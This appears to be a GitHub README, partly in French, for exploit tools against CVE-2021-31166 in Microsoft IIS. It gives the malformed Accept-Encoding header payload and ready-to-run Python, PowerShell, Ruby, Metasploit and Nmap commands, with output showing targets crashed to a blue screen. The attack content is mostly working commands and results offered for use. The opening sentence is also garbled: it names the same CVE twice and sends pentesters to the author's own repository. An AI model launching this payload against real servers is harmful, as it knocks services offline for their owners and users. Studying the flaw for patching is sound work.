mauricelambert/cve-2021-31166CVE-2021-31166: exploitation with Powershell, Python, Ruby, NMAP and Metasploit.
J'ai récemment écrit un exploit pour CVE-2021-31166, il exploite CVE-2021-31166 et CVE-2021-31166. Un pentester devrait utiliser https://github.com/mauricelambert/CVE-2021-31166, mais dans les équipes SOC, nous avons besoin de connaître la vulnérabilité spécifique pour la corriger correctement, c'est pourquoi j'ai écrit cet exploit.
Je propose des scripts en pur Python, PowerShell, Ruby et des modules Metasploit et Nmap pour attaquer un serveur Web IIS vulnérable (effectuer une attaque DOS pour faire planter le serveur (écran bleu)).
La charge utile est très simple :
Accept-Enconding: something, ,something par la valeur d'en-tête que vous voulezAccept-Enconding: (\w|[~/\.-]|%[0-9a-fA-F]{2})+,\s+,Vérifiez votre charge utile avec Python :
from re import fullmatch
if fullmatch(r"Accept-Enconding: (\w|[~/\.-]|%[0-9a-fA-F]{2})+,\s+,", "Accept-Enconding: something, ,"):
print("Payload is valid !")
python3 CVE202131166.py
# OR
chmod u+x CVE202131166.py
./CVE202131166.py
python3 CVE202131166.py <target>
# OR
chmod u+x CVE202131166.py
./CVE202131166.py <target>
python3 CVE202131166.py 10.10.10.10
# OR
chmod u+x CVE202131166.py
./CVE202131166.py 10.10.10.10:8000
# OR
python3 CVE202131166.py mywebservername
~# python CVE202131166.py
CVE-2021-31166 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
Target: 10.10.10.10
[+] http://10.10.10.10 is UP. Send payload...
[+] http://10.10.10.10 is DOWN. 10.10.10.10 is vulnerable to CVE-2021-31166.
~#
powershell ./CVE-2021-31166.ps1
powershell ./CVE-2021-31166.ps1 mywebservername
powershell ./CVE-2021-31166.ps1 -Target 10.10.10.10
cmd> powershell ./CVE-2021-31166.ps1
cmdlet CVE-2021-31166.ps1 at command pipeline position 1
Supply values for the following parameters:
target: 10.10.10.10:8000
CVE-2021-31166 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
cmd>
ruby CVE-2021-31166.rb
ruby CVE-2021-31166.rb 10.10.10.10
~# ruby CVE-2021-31166.rb
CVE-2021-31166 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
Host (target): 10.10.10.10
[+] Target: 10.10.10.10 is vulnerable and down.
~#
msf6 > use exploit/windows/iis/py_dos_iis_2021_31166
msf6 auxiliary(windows/iis/py_dos_iis_2021_31166) > set RHOST 10.10.10.10
RHOST => 10.10.10.10
msf6 auxiliary(windows/iis/py_dos_iis_2021_31166) > set RPORT 80
RPORT => 80
msf6 auxiliary(windows/iis/py_dos_iis_2021_31166) > exploit
[*] Running module against 127.0.0.1
[*] Starting server...
[*] py_dos_iis_2021_31166.py[10.10.10.10:80] - Trying first connection...
[*] py_dos_iis_2021_31166.py[10.10.10.10:80] - First connection OK. Sending payload...
[*] py_dos_iis_2021_31166.py[10.10.10.10:80] - Target is down ! Congratulations !
[*] Auxiliary module execution completed
msf6 auxiliary(windows/iis/py_dos_iis_2021_31166) >
msf6 > use exploit/windows/iis/rb_dos_iis_2021_31166
msf6 auxiliary(windows/iis/rb_dos_iis_2021_31166) > set RHOST 10.10.10.10
RHOST => 10.10.10.10
msf6 auxiliary(windows/iis/rb_dos_iis_2021_31166) > exploit
[*] Running module against 10.10.10.10
[+] Target is down ! Congratulations !
[*] Auxiliary module execution completed
msf6 auxiliary(windows/iis/rb_dos_iis_2021_31166) >
nmap -p 80 --script dos_iis_2021_31166 10.10.10.10
~# nmap -p 80 --script dos_iis_2021_31166 10.10.10.10
80/tcp open http
| dos_iis_2021_31166:
| VULNERABLE:
| IIS CVE-2021-31166 DOS
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2021-31166
| The IIS Web Server contains a RCE vulnerability. This script
| exploits this vulnerability with a DOS attack
| (causes a Blue Screen).
|
| Disclosure date: 2021-05-11
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2021-31166
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31166
|_ https://github.com/mauricelambert/CVE-2021-31166
Sous licence GPL, version 3.